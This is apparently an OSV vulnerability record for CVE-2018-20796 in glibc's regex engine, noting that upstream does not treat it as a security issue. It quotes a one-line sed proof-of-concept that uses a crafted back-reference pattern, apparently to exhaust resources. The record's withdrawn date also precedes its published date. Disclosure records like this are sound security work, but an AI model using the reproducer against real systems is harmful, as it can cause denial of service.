{"id":"ECHO-c300-439c-0dda","summary":"Not treated as a security issue by upstream https://security-tracker.debian.org/tracker/CVE-2018-20796\nexploit: echo 0 | ./sed '/\\(\\)\\(\\1\\(\\)\\1\\(\\)\\)*/c0'\n","modified":"2026-09-15T03:42:51.726883686Z","published":"2025-09-15T01:09:14.994104Z","withdrawn":"2025-08-03T16:59:06.244Z","upstream":["CVE-2018-20796","GHSA-7x29-5q3f-f4x2"],"references":[{"type":"WEB","url":"https://advisory.echohq.com/cve/CVE-2018-20796"}],"affected":[{"package":{"name":"glibc","ecosystem":"Echo","purl":"pkg:deb/echo/glibc"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://advisory.echohq.com/osv/ECHO-c300-439c-0dda.json"}}],"schema_version":"1.9.0"}